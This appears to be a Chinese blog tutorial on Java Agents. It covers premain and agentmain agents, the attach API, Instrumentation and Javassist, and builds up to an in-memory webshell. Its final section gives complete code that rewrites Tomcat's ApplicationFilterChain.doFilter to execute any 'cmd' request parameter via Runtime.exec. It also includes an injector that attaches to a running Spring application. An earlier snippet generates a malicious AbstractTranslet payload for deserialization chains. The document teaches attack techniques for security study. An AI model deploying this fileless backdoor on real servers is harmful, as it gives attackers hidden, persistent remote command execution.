java agent 学习

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

目录: 

Java Agent 介绍

 premain-Agent

 agentmain-Agent

  VirtualMachine 类

  VirtualMachineDescriptor 类

 Instrumentation

  javassist

   ClassPool

   CtClass

   CtMethod

  ClassFileTransformer

  获取目标 JVM 已加载类

 Java Agent 内存马

  构造恶意Agent

Java Agent 介绍

Java Agent 是一种特殊的 Java 程序,它能够在运行时修改或监视其他 Java 程序的行为。Java Agent 通过使用 Java Instrumentation API 实现,可以在 Java 应用程序的生命周期中,动态地对字节码进行插桩(Instrumentation)或修改,从而影响或增强应用程序的行为。Java Agent 主要用于 字节码增强监控性能分析调试 等场景。

Java Agent 有两种运行模式:

启动Java程序时添加 -javaagent (Instrumentation API实现方式) 或 -agentpath/-agentlib (JVMTI的实现方式) 参数,如 java -javaagent:/data/XXX.jar LingXeTest

JDK1.6新增了attach(附加方式)方式,可以对运行中的Java进程附加Agent

其实简单来说就是一种在 JVM 启动前加载的 premain-Agent,另一种是 JVM 启动之后加载的 agentmain-Agent,不过无论是哪种 agent 都需要将其打包为 jar 包才能使用,同时还强制要求了所有的jar文件中必须包含 /META-INF/MANIFEST.MF 文件,且该文件中必须定义好Premain-Class(Agent模式)或Agent-Class(Agent模式)配置。

premain-Agent

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

我们首先来实现一个简单的 premain-Agent,创建一个 Maven 项目,编写一个简单的 premain-Agent,创建的类需要实现 premain 方法,

 

import java.lang.instrument.Instrumentation;

public class permain_agent {
    public static void premain(String args, Instrumentation inst) {
            System.out.println("调用了premain-Agent");
    }
}

接着创建 MANIFEST.MF 清单文件用以指定 premain-Agent 的启动类,

 

Manifest-Version: 1.0  
Premain-Class: permain_agent

接着需要将其打包为 jar 包,可以使用 assembly 插件来打包,先添加 pom.xml 配置,

 

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-assembly-plugin</artifactId>
            <version>2.6</version>
            <configuration>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
                <archive>
                    <manifestFile>
                        src/main/resources/META-INF/MANIFEST.MF
                    </manifestFile>
                </archive>
            </configuration>
        </plugin>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <configuration>
                <source>6</source>
                <target>6</target>
            </configuration>
        </plugin>
    </plugins>
</build>

然后运行 mvn:assembly 命令

img

第二个就是我们需要的 permain_agent 的 jar 包。然后再创建一个目标类

 

public class hello {  
    public static void main(String[] args) {  
        System.out.println("Hello World!");  
    }  
}

目标类的编译同样可以用上面方法,修改 MANIFEST.MF 清单文件

 

Manifest-Version: 1.0  
Main-Class: hello

当然也可以直接用 idea 进行打包,最后执行

 

java -javaagent:agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar -jar agenttest.jar

看到再 main 函数前调用了 permain 函数。

img

agentmain-Agent

相较于 premain-Agent 只能在 JVM 启动前加载,agentmain-Agent 能够在 JVM 启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。

VirtualMachine 类

VirtualMachine 类是 Java 虚拟机工具接口(Java Virtual Machine Tool Interface,简称 JVM TI)的一部分,属于 Java 平台的一种机制,用于与正在运行的 JVM 进行交互、控制和分析。VirtualMachine 类本身并不是直接从 JVM 或 Java API 中可见的类,而是一个在 JVM 调试工具(如 jcmd、jconsole、jvisualvm)或开发工具(如某些代理和诊断工具)中用于交互的接口

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

 

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor 类

VirtualMachineDescriptor 是 Java 中用于表示正在运行的 Java 虚拟机(JVM)实例的类。它属于 com.sun.tools.attach 包的一部分,通常与 VirtualMachine 类一起使用。VirtualMachineDescriptor 类提供了有关虚拟机的信息,比如进程 ID (PID)、JVM 的启动类名、是否为附加到的 JVM 等。

demo,

 

import com.sun.tools.attach.VirtualMachine;  
import com.sun.tools.attach.VirtualMachineDescriptor;  

import java.util.List;  

public class test {  
    public static void main(String[] args) {  

        //调用VirtualMachine.list()获取正在运行的JVM列表  
        List<VirtualMachineDescriptor> list = VirtualMachine.list();  
        for(VirtualMachineDescriptor vmd : list){  

            if(vmd.displayName().equals("test"))  
                System.out.println(vmd.id());  
        }  

    }  
}

运行结果得到进程 id

img

下面我们就来实现一个 agentmain-Agent。首先我们编写一个 hello 类,模拟正在运行的 JVM

 

import static java.lang.Thread.sleep;  

public class hello {  
    public static void main(String[] args) throws InterruptedException {  
        while (true){  
            System.out.println("Hello World!");  
            sleep(5000);  
        }  
    }  
}

然后编写我们的 agentmain 类

 

import java.lang.instrument.Instrumentation;  

import static java.lang.Thread.sleep;  

public class agentmain {  
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {  
        while (true){  
            System.out.println("调用了agentmain-Agent!");  
            sleep(3000);  
        }  
    }  
}

配置 MANIFEST.MF 清单文件,

 

Manifest-Version: 1.0
Agent-Class: agentmain

然后打包为 jar 包,同样用上面的方法进行打包,最后准备一个注入 Inject 类,将我们的 agent-main 注入目标 JVM:

 

import com.sun.tools.attach.*;  

import java.io.IOException;  
import java.util.List;  

public class inject{  
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {  
        List<VirtualMachineDescriptor> list = VirtualMachine.list();  
        for(VirtualMachineDescriptor vmd : list){  
            if(vmd.displayName().equals("hello")){  
                //连接指定JVM  
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());  
                //加载Agent  
                virtualMachine.loadAgent("D:\\JavaLearn\\Agent\\agenttest\\target\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");  
                //断开JVM连接  
                virtualMachine.detach();  
            }  

        }  
    }  
}

运行结果看到注入成功,

img

Instrumentation

Instrumentation(字节码插桩)是指在 Java 程序运行时,通过动态修改类的字节码来改变程序的行为。Java 提供了一个名为 Instrumentation API 的工具,允许开发者对类进行动态修改或监控。通过 Instrumentation API,开发者可以在应用程序运行时插入代码、修改类的字节码、重新定义类的行为,甚至动态加载新的类。我们可以利用Instrumentation实现如下功能:

  1. 1. 动态添加或移除自定义的ClassFileTransformer(addTransformer/removeTransformer),JVM会在类加载时调用Agent中注册的ClassFileTransformer;

  2. 2. 动态修改classpath(appendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch),将Agent程序添加到BootstrapClassLoader和SystemClassLoaderSearch(对应的是ClassLoader类的getSystemClassLoader方法,默认是sun.misc.Launcher$AppClassLoader)中搜索;

  3. 3. 动态获取所有JVM已加载的类(getAllLoadedClasses);

  4. 4. 动态获取某个类加载器已实例化的所有类(getInitiatedClasses)。

  5. 5. 重定义某个已加载的类的字节码(redefineClasses)。

  6. 6. 动态设置JNI前缀(setNativeMethodPrefix),可以实现Hook native方法。

  7. 7. 重新加载某个已经被JVM加载过的类字节码(retransformClasses)。

而说到修改字节码又不得不说 javassist 了,这里简单介绍一下 javassist。

javassist

Javassist(Java Programming Assistant)是一个开源的 Java 字节码编辑库。它使得开发者能够在运行时或编译时修改 Java 字节码,主要用于动态生成、修改和操控 Java 类。Javassist 通过字节码操作来实现比传统的反射机制更高效、更灵活的动态类加载和操作。

ClassPool

ClassPool 是 CtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用,则它将搜索表示的各种源 ClassPath 以查找类文件,然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass 对象的容器。

CtClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以 ClassPool.get(ClassName) 中获取。

CtMethod

同理,可以理解成加强版的 Method 对象。可通过 CtClass.getDeclaredMethod(MethodName) 获取,该类提供了一些方法以便我们能够直接修改方法体

在 CC2 中就使用了 javassist 来神生成恶意类,而且在反序列化时使用 javassist 来生成恶意类可以减少字符串长度。

demo,

 

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
 ClassPool classPool=ClassPool.getDefault();//返回默认的类池
 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
 CtClass payload=classPool.makeClass("shell");//创建一个新的public类
 payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的shell类的父类为AbstractTranslet
 payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
 byte[] code = payload.toBytecode();

由于是直接神成的 class 字节码不用编译所以可以不用实现父类 AbstractTranslet 的 transform 方法。

ClassFileTransformer

java.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口。我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

 

package java.lang.instrument;

public interface ClassFileTransformer {

  /**
     * 类文件转换方法,重写transform方法可获取到待加载的类相关信息
     *
     * @param loader              定义要转换的类加载器;如果是引导加载器,则为 null
     * @param className           类名,如:java/lang/Runtime
     * @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
     * @param protectionDomain    要定义或重定义的类的保护域
     * @param classfileBuffer     类文件格式的输入字节缓冲区(不得修改)
     * @return 字节码byte数组。
     */
    byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain, byte[] classfileBuffer);

}

重写 transform() 方法需要注意以下事项:

  1. 1. ClassLoader 如果是被 Bootstrap ClassLoader (引导类加载器)所加载那么 loader 参数的值是空。

  2. 2. 修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到,否则会报 ClassNotFoundException ,比如修改 java.io.FileInputStream (该类由 Bootstrap ClassLoader 加载)时插入了我们检测代码,那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。

  3. 3. JVM类名的书写方式路径方式:java/lang/String 而不是我们常用的类名方式:java.lang.String。

  4. 4. 类字节必须符合 JVM 校验要求,如果无法验证类字节码会导致 JVM 崩溃或者 VerifyError (类验证错误)。

  5. 5. 如果修改的是 retransform 类(修改已被 JVM 加载的类),修改后的类字节码不得新增方法、修改方法参数、类成员变量。

  6. 6. addTransformer 时如果没有传入 retransform 参数(默认是 false ),就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true 而且手动调用了retransformClasses()方法也一样无法retransform。

  7. 7. 卸载 transform 时需要使用创建时的 Instrumentation 实例。

还需要理解的是,在以下三种情形下 ClassFileTransformer.transform() 会被执行:

  1. 1. 新的 class 被加载。

  2. 2. Instrumentation.redefineClasses 显式调用。

  3. 3. addTransformer 第二个参数为 true 时,Instrumentation.retransformClasses 显式调用。

获取目标 JVM 已加载类

下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent

Main 方法

 

public class hello {  
    public static void main(String[] args) throws InterruptedException {  
        while(true) {  
            hello();  
            sleep(3000);  
        }  
    }  
    public static void hello(){  
        System.out.println("Hello World!");  
    }  
}

Agent 主类

 

public class agentmain_transform {  
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {  
        Class [] classes = inst.getAllLoadedClasses();  

        //获取目标JVM加载的全部类  
        for(Class cls : classes){  
            if (cls.getName().equals("hello")){  
                inst.addTransformer(new Hello_Transform(),true);  
                inst.retransformClasses(cls);  
            }  
        }  
    }  
}

Transformer 修改类

 

public class Hello_Transform implements ClassFileTransformer {  

    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){  
        try {  

            //获取CtClass 对象的容器 ClassPool            
            ClassPool classPool = ClassPool.getDefault();  

            //添加额外的类搜索路径  
            if (classBeingRedefined != null) {  
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);  
                classPool.insertClassPath(ccp);  
            }  

            //获取目标类  
            CtClass ctClass = classPool.get("hello");  
            System.out.println(ctClass);  

            //获取目标方法  
            CtMethod ctMethod = ctClass.getDeclaredMethod("hello");  

            //设置方法体  
            String body = "{System.out.println(\"Hacker!\");}";  
            ctMethod.setBody(body);  

            //返回目标类字节码  
            byte[] bytes = ctClass.toBytecode();  
            return bytes;  

        }catch (Exception e){  
            e.printStackTrace();  
        }  
        return null;  
    }  
}

接着同样打包为 jar 包,修改 MAINFEST.MF 文件,

 

Manifest-Version: 1.0  
Agent-Class: agentmain
Can-Redefine-Classes: true  
Can-Retransform-Classes: true

Can-Redefine-Classes: true:这个选项表示代理是否能够重新定义现有的类。具体来说,这意味着代理可以通过
Instrumentation API 来替换已经加载的类的字节码。

Can-Retransform-Classes: true:这个选项表示代理是否能够重新转化现有的类。重新转化是指代理能够使用Instrumentation API 来再次转换或修改已经加载的类的字节码,而不需要重新定义该类。

然后同样写个 inject 类,

 

import com.sun.tools.attach.*;  

import java.io.IOException;  
import java.util.List;  

public class inject {  
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {  
        //调用VirtualMachine.list()获取正在运行的JVM列表  
        List<VirtualMachineDescriptor> list = VirtualMachine.list();  
        for(VirtualMachineDescriptor vmd : list){  
            System.out.println(vmd.displayName());  
            //遍历每一个正在运行的JVM,如果JVM名称为hello则连接该JVM并加载特定Agent  
            if(vmd.displayName().equals("hello")){  

                //连接指定JVM  
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());  
                //加载Agent  
                virtualMachine.loadAgent("D:\\JavaLearn\\Agent\\agenttest\\target\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");  
                //断开JVM连接  
                virtualMachine.detach();  
            }  

        }  
    }  
}

运行结果看到执行注入后开始输出 hacker。

img

Java Agent 内存马

通过上文对Java agent的了解,我们需要将特定类的特定方法中添加恶意代码,那么寻找这个关键的类就是我们面临的第一个问题。

在我们访问资源的时候会调用过滤器链中的过滤器,当用户的请求到达Servlet之前,一定会首先经过过滤器。它们都是在ApplicationFilterChain类里,它的dofilter方法

img

封装了我们用户请求的 request 和 response,用此方法作为内存马的入口,可以完全控制请求和响应

构造恶意Agent

们需要修改 ApplicationFilterChain 的 doFilter 方法,修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可

 

public class Filter_Transform implements ClassFileTransformer {  
    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {  
        try {  

            //获取CtClass 对象的容器 ClassPool            
            ClassPool classPool = ClassPool.getDefault();  

            //添加额外的类搜索路径  
            if (classBeingRedefined != null) {  
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);  
                classPool.insertClassPath(ccp);  
            }  

            //获取目标类  
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");  

            //获取目标方法  
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");  

            //设置方法体  
            String body = "{" +  
                    "javax.servlet.http.HttpServletRequest request = $1\n;" +  
                    "String cmd=request.getParameter(\"cmd\");\n" +  
                    "if (cmd !=null){\n" +  
                    "  Runtime.getRuntime().exec(cmd);\n" +  
                    "  }"+  
                    "}";  
            ctMethod.setBody(body);  

            //返回目标类字节码  
            byte[] bytes = ctClass.toBytecode();  
            return bytes;  

        }catch (Exception e){  
            e.printStackTrace();  
        }  
        return null;  
    }  
}

再准备 MAINFEST.MF 配置,以及 agent 主类代码如下:

 

public class agentmain_transform {  
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {  
        Class [] classes = inst.getAllLoadedClasses();  

        //获取目标JVM加载的全部类  
        for(Class cls : classes){  
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){  

                //添加一个transformer到Instrumentation,并重新触发目标类加载  
                inst.addTransformer(new Filter_Transform(),true);  
                inst.retransformClasses(cls);  
            }  
        }  
    }  
}

MAINFEST.MF

 

Manifest-Version: 1.0  
Agent-Class: agentmain_transform
Can-Redefine-Classes: true  
Can-Retransform-Classes: true

然后打包为 jar 包,最后准备 inject 类,

 

import com.sun.tools.attach.*;  

import java.io.IOException;  
import java.util.List;  

public class inject {  
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {  
        //调用VirtualMachine.list()获取正在运行的JVM列表  
        List<VirtualMachineDescriptor> list = VirtualMachine.list();  
        for(VirtualMachineDescriptor vmd : list){  
            System.out.println(vmd.displayName());  
            //遍历每一个正在运行的JVM,如果JVM名称为SpringshellApplication则连接该JVM并加载特定Agent  
            if(vmd.displayName().contains("SpringshellApplication")){  

                //连接指定JVM  
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());  
                //加载Agent  
                virtualMachine.loadAgent("D:\\JavaLearn\\Agent\\agenttest\\target\\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");  
                //断开JVM连接  
                virtualMachine.detach();  
            }  

        }  
    }  
}

成功弹出计算机

img

视频教程在我主页简介或专栏里

(不懂都可以来问我 专栏找我哦)

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值